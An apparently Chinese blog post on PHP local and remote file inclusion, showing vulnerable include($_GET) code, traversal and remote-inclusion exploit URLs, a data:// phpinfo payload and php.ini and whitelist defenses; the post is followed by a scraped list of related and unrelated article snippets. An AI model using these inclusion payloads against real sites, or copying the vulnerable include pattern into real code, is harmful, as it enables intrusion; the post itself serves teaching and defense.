由头:面试的时候被问到了,有些东西还是实践的太少,写此博客记录一下。

php文件包含函数:

include()

require()

include_once()

require_once()

本地文件包含:

include($_GET['test']);

?>

exploit:

包含当前目录的 lfi.txt(内容为<?php phpinfo();?>):

跨目录包含:

http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上层目录的lfi.txt文件

http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含内层目录的lfi.txt文件

防御:

防止跨目录:

在php.ini中设置open_basedir

open_basedir = C:\Program Files\phpStudy\WWW\lfi #限制在当前目录下(包括子目录)

open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #限制在当前目录下(不包括子目录)

防止本地文件包含:

使用枚举

$file =$_GET['test'];

switch ($file) {

case 'lfi.txt':

include('./lfi.txt');

break;

default:

include('./notexists.txt');

break;

}

?>

远程文件包含:

include($_GET['file'].'txt');

?>

exploit:

http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?

技巧:?被解释成url中的querystring,可用来在 远程文件包含 时 截断 代码中后面内容。

防御:

php.ini配置文件里allow_url_include=off

文件包含利用技巧:

1.远程文件包含时 利用 data://  (>5.2.0) 或者 input://协议

/rfi.php?file=data:text/plain,<?php %20phpinfo();?>

php本地文件包含 截断,php本地文件包含远程文件包含相关推荐

  1. PHP远程文件包含(RFI)并绕过远程URL包含限制

    文章来源|MS08067 公众号粉丝投稿 本文作者:VastSky(Ms08067实验室粉丝) 前言 本文我们讲如何绕过远程URL包含限制.在PHP开发环境php.ini配置文里"allow ...

  2. php 怎么远程包含,利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制...

    前言 文章讲诉了如何绕过远程URL包含限制.在PHP开发环境php.ini配置文件里",allow_url_include"为"off"的情况下,不允许PHP加 ...

  3. 操作分布式文件之三:如何访问和操作远程文件

    FttpAdapter fa = new FttpAdapter("fttp://10.232.20.151/home/qianfeng.py/fttp/tmp/1.log"); ...

  4. 向日葵Linux传文件,干货整理:向日葵如何实现远程文件传输?

    无论是工作还是生活都会涉及一些远程控制的问题,有些用户会借助一些远程控制软件来解决,但有些软件的功能性过于单一,不能满足用户的使用需求.为此小编就跟大家推荐一款比较实用的远程控制软件--向日葵.下面就 ...

  5. php本地文件包含 截断,php远程文件包含截断问题

    今天在学习<白帽子讲web安全>一书是,提到一个php远程文件包含漏洞 可以从攻击者服务器中的一个写好的攻击脚本中远程执行命令 服务器中有漏洞的页面代码为: #test.php #erro ...

  6. 文件包含原理及本地文件包含漏洞演示(本地文件,远程包含文件的测试)

    一.文件包含漏洞概述 1.定义:文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序.当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行 ...

  7. 远程文件包含 php,php本地及远程文件包含漏洞

    在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen on allow_url_include on 但是开启这两个功能之后伴随的是url ...

  8. test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  9. index.php.bak 颓废_18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

    phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...

  10. php代码审计文件包含,PHP代码审计之远程文件包含(RFI)

    有位叫做普瑞斯特的大牛针对PHP的web应用列出了下面几种攻击方式: 1.命令注入(Command Injection)2.eval注入(Eval Injection)3.客户端脚本攻击(Script ...

最新文章

  1. 微信“红包封面”终于开放:这样免费定制!
  2. 好消息acesse_真实的acesse爱搜索 黑心传销骗子
  3. java 十 = 0_从零学java笔录-第10篇 数据类型(四)
  4. ubuntu 下 安装 配置 jdk1.7 (tar.gz)
  5. Lync Server 2010迁移至Lync Server 2013部署系列 Part3:部署后端备用服务器
  6. OD使用教程3(下) - 调试篇03|解密系列
  7. python自动抽奖_Python定时自动参与抽奖助手抽奖
  8. 中风偏瘫疾病的预防方法是什么
  9. 系统学习深度学习(十八)--NIN模型
  10. pythonttf字体下载_python 58 字体反爬
  11. 计算机wap怎么制作表格,如何在电脑上制作简单的表格?
  12. android 左右分栏联动布局,自定义页面分栏布局
  13. 华为od统一考试B卷【We Are A Team】C++ 实现
  14. 巴西龟饲养日志-----黑壳虾
  15. MAX-SUM算法信息传递规则的优化
  16. 7-85 根据输入的空气污染指数,输出相应的信息。7-86 分支结构——大小写字母判断7-87 A±B
  17. Nginx中文域名配置
  18. dorado7中相关问题记录
  19. 打开UG10 C语言错误,UG打开prt文件UTF8归档报错:部件已以UTF8模式归档,但NX运行
  20. 使用 Amazon SageMaker JumpStart 更轻松地在组织内共享 ML 模型和笔记本

热门文章

  1. C/C++ map函数统计每个字母出现的次数
  2. 关于Lambda表达式的简单理解,以及基础使用,仅限新手
  3. 10g gtx 光纤通信测试_10G以太网光口与Aurora接口回环实验
  4. 2020年最好用的手机是哪一款_2020年千元机中性能最好的4款手机,印象最让你深刻的是哪一款?...
  5. python支持双向索引_python3 deque 双向队列创建与使用方法分析
  6. vue aplayer 进度条无法拖动_用Vue做个Window玩
  7. vivadohlsdsp_FPGA硬件加速学习vivado hls-----------------卷积加速
  8. Caliburn.Micro入门
  9. IE8变成IE7的显示方式
  10. 实验:DHCP中继代理